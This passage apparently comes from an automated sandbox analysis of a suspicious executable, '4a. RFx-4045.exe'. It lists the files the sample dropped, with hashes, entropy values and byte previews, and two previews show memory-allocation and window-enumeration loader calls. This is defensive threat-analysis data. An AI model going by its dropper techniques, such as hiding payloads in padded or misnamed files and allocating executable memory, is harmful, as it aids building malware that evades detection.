Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjeeWsxQoXUn:be/xvUn
MD5:	49578952E394631F91A1BA055BAB4366
SHA1:	FD279681BFAD6F1E478F26C5D32642CFB1D59779
SHA-256:	308B6385D90F5C25AE9580D291EA0001D25B1261DBEFEBE55809AA0A1D3DE9B0
SHA-512:	39FD3D2EA366EDA721FAEF1316304F7B2831A7F9B56D2B310EB7EADD05D16764322CF93BDE98CDA20B864D813E28A22AA0A02B7BCD0F22A6930BDFCB4DC72B6A
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 33595392, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nsy8FA3.tmp

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Anientise.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 652x567, components 3
Category:	dropped
Size (bytes):	70338
Entropy (8bit):	7.971282892297884
Encrypted:	false
SSDEEP:	1536:tOBLZbRkWSQZkvGOeY5S0o3Cbnsi/XZcb+DObCnXNpP8NG9Q:MBNbRfqui84s0XZccObsJQ
MD5:	BC2D376C84AAA3DDFFED7983341DC0CF
SHA1:	3D6B74697F04B235E31702004941A3AE80A3A1A8
SHA-256:	E8F4CA40F578BAC96D66EA2FD51C3BB3629140EA8CC0B006C96385E19D4F9137
SHA-512:	E26DBB4359BCFBDB962D7E52B83844D547220FFC5A08407F4D1F7A1075A17452C4B42EEF1ED58F61A83DF4330706C14276E7790B660B4E934CBF33928059C939
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......7...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*QIN......@.- .....Z.QE.P.KE..QE-..QE......QE..QE..QE..QE-.%-.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.IKE..QE.%..P.QE..QE..QE..QE...R.P.E.P.QKI@.%-.....P.j+.}.L.......!l.$.6.I..C....Z..%.Uj.....G..>.`.@%!..4.i..Rb..8RR.`--...QK@........(....(...QE..QK@..Q@..Q@..Q@..Q@.E.P.IKE..QE..QE..QE..QE..S\.....@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@.%-...QE..QE..QE..QE.%....RR.@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Associeringerne.gaf

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	473717
Entropy (8bit):	7.117995881768696
Encrypted:	false
SSDEEP:	12288:T0akQ/E3Nsne8/pJkWph8UHbg9c6uCpMc/G++:IakQ/E3N+///FH8c6H8
MD5:	F8ADD1D40883DCFD928B2D2F1A63EFEF
SHA1:	ADBEDCA746258B6106873CC2DFE1C6F5B00A2C4F
SHA-256:	C11B542C745E411A516882C4785F580227983782866CDD3A769BF7BF4CAC9C83
SHA-512:	E7C143D534C4EA4E47E137358DB667A62B51F974E272F25AEF398216839A3F7BAB1A779AA24C3BF8D4B2DB0E1CB3486C287BF12D6A5C840C05D8141DDB5B83B5
Malicious:	false
Preview:	...=..... ......v.....................>.................UU.]]....w.........yy....K....#....~...............Z........@@.........S.........&&.....J.......TT.$............x...O...........a............P...............w..........!............u...''''''''...(....}}.........................o...$..::...F...........................fff........................................{...<.......jj..UU............................K........66.............................................m........ee.....Z...................4..O................d.....d..........hh.....P.............___.............::::::...........M..........ee.....9.....\|.......jj....................'.5.....................f...KKKK.....?..................{{{...........KKK............eeee......~.W...................=.....g.................................w.....1.............v..........iiii..................hhhh......DDD......@...GG.dd.PP.........F...........<<<.)))..C....t....ss.......YY..p.......................)))......................=....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\tendrilous.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	55406
Entropy (8bit):	7.954825763288269
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0WA:RmDkKivjFtjy7FAWMub0WA
MD5:	BE132A3C167FA453FA6701A4EDC1C260
SHA1:	BDA970354B6BE365210490FE69AD6EDA77B2EEF6
SHA-256:	BC805F28B875933C8B078E2BA1276251A44717DE2D40010A22D3B5CF8806B249
SHA-512:	8FFE42622043A68193DD0CC121E8DE9D9BA386160221DEAD4944C2B88AF71801E28433EA35E76EABDE8C4F7153AAFA2095A19323C6BE4228D07ECD1FE0951DF4
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\unbesotted.jpg

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 397x570, components 3
Category:	dropped
Size (bytes):	18492
Entropy (8bit):	7.872864503549539
Encrypted:	false
SSDEEP:	384:QTTS15c6avxFdLPCa274s6lNGI8BvL0PyEVRe+BRHwlqwyEsUhF5:QCRIxTLPCa27alNi5Lce8FRWP5
MD5:	494DF2334398DEDFE0C5BD0B7F4EB714
SHA1:	4E26AFBF24669D290AC6272F82045467D95D9CCE
SHA-256:	D44C7156D885935D27D585549DCC5D8DC69126BE5A579538766CF41CCD3C2D90
SHA-512:	C9561979607C0E77285630A6DDF6D8FDD1EAAC64A7CA75A9C79C30D611E2CDB17902ABB917FC7F2E19BF8816EF0134AED51F2666658A5B4EB8E53ECE639E0566
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......:...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..Z(...(....)h.)h...QIJ)....KL.4....(...)i.-..QE....P.E.P.IKHh.....J1KI@.IJi(...(..Ji.-.%..i(.........%..QE.%.Q@.%-........E.P.E.P..E.....%...3E......@)..(...)......R...%.-..P..IE.-%.P.E.P.E.P.RR.@.E.P..Q......b..i(.(...JJZJ.(...J(4P.E-...J.W.?......E.P.E...QE-..QE..QE .Q@....(..E.R.h..`.R...CKK@..--.....b.......J.LRb.I@..1KE.7.b...LQ.Z(.1F)h...Jh...&)h...%-%....P.E...R

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\volutiform.jpg

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 785x387, components 3
Category:	dropped
Size (bytes):	54022
Entropy (8bit):	7.973400223333002
Encrypted:	false
SSDEEP:	1536:6lk4b2iQgWvml7qJX2doPEKQ9NYy1wGaTgLGC:+k4iJgWxB2NKQ9NJ1Xmgn
MD5:	BA261BE646CBCB751376C251A24FFED8
SHA1:	A861B40EFDFFF21CC71BE96246428189A250D8EC
SHA-256:	A167005B32BB7C8C7C267DB9107A5EC1ECFA1F991047EEF7F00F2D7D6113D7C9
SHA-512:	9B07DE921394A0C5D10E41915D892BC2FC4BEAA3987D9974296AB51AEBEA8FCB74E17D7CBD7F897F9B974074A734C6EA479E13EB143FA9614DB48741C1508A35
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......+..z.W...<\...V.^#.....!.......=kJ..I.r.f.W...}.V;...g.[&..M4h.q........,......~u...4.v+......}..\..1.8..@.......).cG..bv&.....5..."..J7>.?.z.#x...J.<y..6..7:.s....O.....28....P..5r.{,...I.Ml........k.....+...7F.llc..Y.....y.xe...=:..1....W....9...v...kYt....f?.....<..9<.7.k.9}..W^Od...i.)..V.h.s.....\.........o2.?,.k.....<..b..9bo......L..v.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\whitmanesque.til

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	1133076
Entropy (8bit):	0.1587030267442814
Encrypted:	false
SSDEEP:	3072:9AxU4v61quAiMmhj7kKSN4BSv3g5BnECjvqDWJXygI00gWto9P1d:Nj/
MD5:	CEB0FFF243EDF97AEBDE59F2B3815B33
SHA1:	FF08B9DCF774DC95B16AA7F0F40BC57CE1EEFA13
SHA-256:	61716828D6E56E86F4AEDF352FDE53E7F83C3E0293DED086BB05DA3AB8A905C3
SHA-512:	43D2B1C315D6FC20FC845C4FB55640C8D4BCA7AAB905EEB59935C5D28536C7A31CADF80B1C39B6291DA41623B3512911979C3C185FEA8DC658CB6B61170B3876
Malicious:	false
Preview:	555555555555555555555555555555.5555555555555555555555555555555555555555.5555555555555555555555555555555555555.5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.55555555#55555555555555555555555555555555555555.5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.5555555555555555555555555.55555555555555555555555555555555555555555555555555555555555555555555.55555555555555555555555555555555555555555a5555555555555555555555555555555555555.55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Politistaters.txt

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 229x9, components 3
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.179632284500361
Encrypted:	false
SSDEEP:	24:D9YMWvo0XxDuLHeOWXG4OZ7DAJuLHenX3vsxZB5ueacXa73ceBimeWTpi0iwzGfG:D9YMPuERAQZ6l3ctW9grfOgc
MD5:	F21A683B933A56A612F032E293891DEA
SHA1:	B769D490991D9C1E3929B9EE95B45827F71BD289
SHA-256:	73E0E6A1FC0C09E80B0D57F9607CB699C63B1D3C6E9E4B5B728D8069A0A0833C
SHA-512:	C918E2DFDF598BFCAE3C72F9465F738ABC968A10305E5EAD98B4DFC3F46C480A6624C56945415FB97023D282C94A74F7FEFA958768BE32AC721C4517B137D606
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......... ..O_.k.3.....`..y....~.u.o#.....J..6.......jq.#\.......0....Yn..........I....p5.........3Y......k....2/.h..H.....y..5..Q...".....O.s.{.z......j.......=......2).\.......3.z.....J9.a......H.U...S........\...y..>.e..5...'I...=.~/_7...?.R.....Y...7...^l?.-Wo..Z9..j.....I....'.w..?..U..&.(..@...........?..i..WO...A>8.G.M_......A...Q...?.....jK.....U\|...^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Talefrdighedens.gel

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	1719528
Entropy (8bit):	0.1570389935767657
Encrypted:	false
SSDEEP:	3072:SYiVDfuk9CjZrX4CcDJBopByFgALDkVqx/tQyF1to1AG59PlQkjzVAeu+MSf6W:v
MD5:	A082A396A2102E3D083E2D2CA96AC591
SHA1:	6B6B14F111E907778DF61AB4BC0827D8D30BB57C
SHA-256:	7FC9B2ACE350880A5C56AF01E231C7F294A73939E75A2900B0B07E9642FBD558
SHA-512:	38073A9E97F9A4507259E5FDCD06EBA07AC68A81A68239EC57A21533DD2AF830F9E25191596A4DB0CC8ECD1B9ABF398F6DE971351347FA5EDA1E877EF4C0D81F
Malicious:	false
Preview:	5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.5555555555555555555555555555555555555555555555.555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555N5555555555555555555555555555555555555555555555555555555555555555555k555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.555555555555555.55555555555555555555555.5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555p555555555555555555555555555555555555555555555555555555555555555555.55555555555555

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\anpartsredernes.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	53361
Entropy (8bit):	7.971625349200023
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0M:RmDkKivjFtjy7FAWMub0M
MD5:	852E5D784F2F90D8BC8316423BB419BC
SHA1:	6F408BFAA9C5E71003C07000F74F61EEC5613E66
SHA-256:	2D746E9B04B61B2B24E8C7AD46A9E24247E9CE804B5CEA013ED54C286C5C61CE
SHA-512:	4445E329F501D6741007074B080D6C838F3B6B46C48BD412336B1AB6997E42E2A6F1272454C5FEA0772292691E820A9731559BF575FA227D7021CFD9D1D81C18
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\combmaking.ner

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	6152045
Entropy (8bit):	0.15824152730847785
Encrypted:	false
SSDEEP:	3072:1K3uFd74NnS0eEgxU18b3tFsU6nh6e3UtlYfU7tUmfUh/cAHXKzoMDgWzLzITT+K:QWW
MD5:	69B60D9BAC97FA357568191E17DAE395
SHA1:	C022752B176BD6DA12ACB2DCEC71615B98BB5F15
SHA-256:	381858C058EB3E7847989656075FE172935FA1545FAA596FBD6131B17FB26F3F
SHA-512:	34B96F69D56D7E85F459D9B259FE68ED2BB2E0C84FACAB1374D10A10FDAEBBC05E5026BC40652C894D300658A3E5F47442723AF50DB9B401F5F76F058B726EB9
Malicious:	false
Preview:	55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.555555555555555555555555555555555555555555555555F555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.555555555555555555555555555555555555555555555555555555555555555555@55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.55555s555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\farisisme.jpg

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	52818
Entropy (8bit):	7.972835100733444
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz1:RmDkKivjFtjy7FAWMub1
MD5:	F9D854ADDECA5D758A1CC0A1A0011762
SHA1:	3A2003A886BA6C6C177BA64FAB8D200C65D559D8
SHA-256:	AC110328F29CD54CFD00BEBE8665E8F988C30DB905D568288D5D23A59D37E776
SHA-512:	69622E99DF431EE1DBE5BC05337C330D01921D2ACD7E487A25F6BE699DD45A5C99E491F419CDA2D7847D4AFDF37B02A2F93CEEDE9247033BC12A571BDDD7F5BA
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\flankens.txt

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	53954
Entropy (8bit):	7.968698136893044
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0M:RmDkKivjFtjy7FAWMub0M
MD5:	990FAE344087CB2DDE31A3BE2A22932B
SHA1:	6716B7B10411710573F0DE910D0AFCD854C234E3
SHA-256:	263D609E6005C688F6B781E5BCEABB770F38AE2D4C6249466AC60183E20ECEB5
SHA-512:	124113AD55EDC3447FEA6C96EB584EF81E32290351D9923D0DE98B6D5C72D3F00A16ACBBDCFA09551B10836C1FA2FFFAAB4C7D2EF6B4221DD32C66219703A29E
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\fortolkningsreglernes.jpg

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 229x9, components 3
Category:	dropped
Size (bytes):	1220
Entropy (8bit):	7.498846333407108
Encrypted:	false
SSDEEP:	24:D9YMWvo0XxDuLHeOWXG4OZ7DAJuLHenX3vsxZB5ueacXa73ceBimeW3:D9YMPuERAQZ6l3ctW3
MD5:	1C29EB984F256495AB5340694C644235
SHA1:	819B87E05E56C7533B60AAA724D64883D6E643D6
SHA-256:	85E28013641DC7A844E89FF895FC848FE733D4719DB8CB53FA89D464AA3E34D0
SHA-512:	C40D5BADD9A87B0A09770BE1D07B671FBD6CB4ECA0120917F46A7CC87936CD91727DEF87E4B30607361CF84347EFA25C711B8BE19DE72BE25590AF0E3493D489
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......... ..O_.k.3.....`..y....~.u.o#.....J..6.......jq.#\.......0....Yn..........I....p5.........3Y......k....2/.h..H.....y..5..Q...".....O.s.{.z......j.......=......2).\.......3.z.....J9.a......H.U...S........\...y..>.e..5...'I...=.~/_7...?.R.....Y...7...^l?.-Wo..Z9..j.....I....'.w..?..U..&.(..@...........?..i..WO...A>8.G.M_......A...Q...?.....jK.....U\|...^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\giften.txt

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	55791
Entropy (8bit):	7.950408861254537
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0WH:RmDkKivjFtjy7FAWMub0WH
MD5:	4DA0E4AE865CC00D76EDABDE63695EFB
SHA1:	BCDA534F7BA33C790F7AC600A9776396EA710128
SHA-256:	6E22BFF9A85888FB8201021AAC493D296B7FB078B5EDADF0B5BF473F903915DD
SHA-512:	77B9159F78FFA05CEBA92642A506FCBF6A2AA99D305BE7BB45F4B3F706CC700CB292B5EE8BFDD019ED7ADBA5A14ADF04F542CDF88E3F5B7603A32C2DB6470109
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\mesosporic.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	54305
Entropy (8bit):	7.966066768833664
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0L:RmDkKivjFtjy7FAWMub0L
MD5:	305F9CF36765580066A713B9B57F6D9E
SHA1:	282FDD5411EEE1F712F4BB84217D65549DABC5A2
SHA-256:	8B39D1C1B521528D0FD38E22F7BCD2ED66C23DC8C8BFE3D273690D6AB7ACE81F
SHA-512:	6B2C852298D3E544EDBE01C61D1B42E900700AEA3E2F249B0D3B9C3669E9A4911C95A3A7C84842867B442FBA319C99993A0427FAB9128FFF2DB37CEE41911367
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\modenese.jpg

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 652x567, components 3
Category:	dropped
Size (bytes):	68985
Entropy (8bit):	7.973399367007446
Encrypted:	false
SSDEEP:	1536:tOBLZbRkWSQZkvGOeY5S0o3Cbnsi/XZcb+DObCnXNpP8NG9B:MBNbRfqui84s0XZccObsJB
MD5:	B847C8A122DC3EA9AB1DD071DB622727
SHA1:	7F86098A2F9F2777524174E0B7545CF4EDCF17CC
SHA-256:	B9A6BF8B70A17ABD992E0223E3EBC185B925A0DCABA50150F377B3089519B7C8
SHA-512:	06D89109A558E60579D1A5580DAF61347CF7D7A9F657E2FAE7B89554106D7E041E6C607F63700C861363C6976891CE26E826BD13381DDFADC832CD5915BAD87B
Malicious:	false
